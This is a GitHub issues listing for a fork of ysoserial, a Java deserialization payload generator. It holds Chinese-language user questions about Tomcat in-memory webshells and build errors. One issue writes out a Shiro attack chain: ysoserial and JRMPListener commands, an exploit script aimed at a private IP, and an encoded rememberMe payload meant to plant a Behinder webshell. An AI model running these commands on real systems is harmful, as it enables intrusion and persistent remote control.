ysoserial icon indicating copy to clipboard operation
ysoserial copied to clipboard

A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

Results 5 ysoserial issues
Sort by recently updated
recently updated
newest added

师傅您好,我在看tomcat通用回显的内存马源码的时候看到这两句 ` (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();\n" + " org.apache.catalina.core.ApplicationContext applicationContext = (org.apache.catalina.core.ApplicationContext) contextField.get(webappClassLoaderBase.getResources().getContext());` 本地环境tomcat8.5.78中的getResources返回值是null,导致这一句抛出异常

![图片](https://user-images.githubusercontent.com/45005869/121806412-5b080880-cc82-11eb-8909-7f5c692e7624.png) 出现了报错 本身只有jdk1.8 好像没法兼容

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4TomcatShell "pass" >1.ser java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 1.ser python shiro_exp_payload.py 192.168.110.8:1099 rememberMe=BWRrrnY1Q7yCjBqZvLtEeC+2z/3ZRCVDO2zmN1JAL9MGehwC4BdEE9Hk/cdb9D3r3egy+qRveCHkiMlRItRdE4dudhfKG0e/1If8CSIpLjRCW2lIMmU2WcZh8eUaWAoRRInb9Jri9TMUMH4YrP7sDknMRSHavsB2vdrdAiuoHK/wj5XDsbhURldTUAxvPnmf5iH0ML2go2oVwDe7eZ5WASqZ3c6zz51EKj91/983rl7NjlHyI5nTVrbvwt0mJMj5rqZeN0XfXEOJHL8VLOiW0d5JEEcihgm+QPZ71/QFG6S5WEU7eXsvS3hOsTUCiFD6MIQiKh5pXYaquoAgN/yK406jTnI7+DcHUsDcZD0yyZlr4ViqU7PZ0654YtUAZH1WsKKthWK13OW2k1sD8QoKzw== 长亭的大表哥,是这样弄的嘛,Shiro,修改后的冰蝎连接不上,小弟有点菜,麻烦表哥抽空给我解答一下

![image](https://user-images.githubusercontent.com/25523634/103614358-5fa5f380-4f63-11eb-895e-2ff96bc3d9f5.png)

您好,为什么会出现编译出错呢?这是我的报错以及版本信息。可不可以解答一下,万分感谢 ![image](https://user-images.githubusercontent.com/49438723/105333568-d6ecb000-5c10-11eb-9424-b66360d80156.png) ![image](https://user-images.githubusercontent.com/49438723/105333621-e4099f00-5c10-11eb-9786-2e673a6b4144.png)